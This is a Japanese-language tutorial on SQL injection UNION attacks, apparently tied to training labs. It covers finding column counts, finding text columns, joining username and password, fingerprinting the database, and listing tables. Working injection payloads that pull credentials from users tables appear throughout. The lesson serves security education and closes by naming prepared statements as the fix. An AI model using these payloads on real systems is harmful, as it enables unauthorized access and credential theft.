1. UNION の基本 #union-basics
UNION は SQL の機能で、複数の SELECT の結果セットを縦方向に連結します。
SELECT name, price FROM products UNION SELECT name, price FROM archived_products
結果は両方の products テーブルから取得した行が縦に並びます。攻撃者の関心は「左側のクエリは正規、右側のクエリは攻撃者が書いた別テーブルへの SELECT」という使い方。
UNION が成立するには2つの条件があります:
- カラム数が一致すること(2つの SELECT で返すカラム数が同じ)
- 各カラムの型に互換性があること(整数のカラムに文字列を入れようとするとエラー)
この2つの条件をクリアするのが、UNION 攻撃の前段階です。
UNION と UNION ALL
UNION は重複行を除去します。UNION ALL は重複も含めて全行返します。攻撃で狙ったデータが消えないようにする目的で UNION ALL が好まれることもあります。
2. カラム数を特定する #column-count
UNION を成立させるには元のクエリのカラム数を知る必要があります。攻撃者は2つの方法を使います。
方法A: ORDER BY でカラム数を探る
ORDER BY 数字 はカラム位置で並べ替える指定。指定した数字がカラム数を超えるとエラーになります:
-- 元のクエリが3カラム返す場合 SELECT name, description, price FROM products WHERE ... ORDER BY 1 → OK ORDER BY 3 → OK ORDER BY 4 → エラー
数字を1から順に増やしていき、エラーが出る境界の1つ手前がカラム数です。
方法B: UNION SELECT NULL でカラム数を探る
NULL は型を持たない特殊な値で、どのカラムにも入れられます。型不一致エラーを避けつつカラム数を探れます:
UNION SELECT NULL → カラム数不一致でエラー UNION SELECT NULL,NULL → エラー UNION SELECT NULL,NULL,NULL → OK、カラム数は 3
エラーが出なくなった瞬間のカラム数が答え。
3. 文字列カラムを特定する #text-column
PostgreSQL や MS SQL Server などの厳格型 DB では、UNION の対応するカラム同士が互換型でないとエラーになります。盗み出したいパスワードや銀行口座番号は文字列なので、文字列を流し込めるカラム位置を見つける必要があります。
NULL を1つずつ文字列リテラルに置き換えていき、エラーが出ない位置が文字列カラム:
UNION SELECT 'a',NULL,NULL → 1番目が int なら型エラー UNION SELECT NULL,'a',NULL → 2番目が text なら OK UNION SELECT NULL,NULL,'a' → 3番目が int なら型エラー
エラーが出ないカラム位置に、後で本当に取り出したい値(パスワードなど)を埋め込みます。
MySQL は暗黙の型変換が積極的なため、整数カラムに文字列を入れてもエラーにならないことがあります。型チェックの厳しさは DB によって違う、と覚えておきましょう。
4. 複数値を1カラムに集約する #concat-column
Lab 06 のように UNION で使える文字列カラムが1つしかない場合、username と password を別々に取得すると2回のリクエストが必要。文字列連結子を使って1回で取得できます。
各 DB の文字列連結子:
- Oracle / PostgreSQL —
||演算子 - MySQL —
CONCAT(a, b)関数 - MS SQL Server —
+演算子(文字列同士に対して)
-- Oracle / PostgreSQL UNION SELECT username || ':' || password FROM users -- MySQL UNION SELECT CONCAT(username, ':', password) FROM users -- MS SQL Server UNION SELECT username + ':' + password FROM users
結果として store_admin:M9$kP2wQ7vX8j のような値が1カラムに入って返ります。区切り文字を入れることで、後で目視やプログラムで分離しやすくなります。
5. DB 種別の特定(フィンガープリント) #fingerprint
DB ごとに使える関数や構文が違うので、攻撃者は最初に DB 種別を特定します。これを「DB フィンガープリンティング」と呼びます。
Oracle
v$version ビューにバージョン情報が入っています。Oracle は SELECT 句に必ず FROM が必要なので、テーブルがない場合は FROM dual を付けます:
UNION SELECT banner, NULL FROM v$version--
MySQL / MS SQL Server
@@version というシステム変数で取れます。FROM 句不要:
UNION SELECT @@version, NULL--
PostgreSQL
version() 関数:
UNION SELECT version(), NULL--
返ってきた文字列を見れば、Oracle なのか PostgreSQL なのか MySQL なのか即座に分かり、次の攻撃手順を選べます。
6. テーブル列挙とカラム列挙 #enumerate
DB 種別が分かったら次は「どんなテーブルがあるか」「各テーブルにどんなカラムがあるか」を調べます。
Oracle
-- ステップ1: テーブル名を列挙 UNION SELECT table_name, NULL FROM all_tables-- -- ステップ2: 特定テーブルのカラムを列挙 UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'MEMBERS_XY7W_SECRET'-- -- ステップ3: データを取得 UNION SELECT member_id, password FROM members_xy7w_secret WHERE role = '店長'--
PostgreSQL / MySQL / MS SQL Server
これら3つは information_schema という標準スキーマを共通で持ちます:
UNION SELECT table_name, NULL FROM information_schema.tables-- UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_kj9z_priv'--
実戦の攻撃者は users、members のような典型的な名前を最初に試します。Lab 09 の members_xy7w_secret や Lab 10 の users_kj9z_priv のような難読化された名前は「セキュリティ・バイ・オブスキュリティ(難読化による安全性)」の例ですが、information_schema を見れば一発で名前が分かるので難読化は気休めにすぎないことを示しています。実際の対策はあくまでプレースホルダ等の根本対策。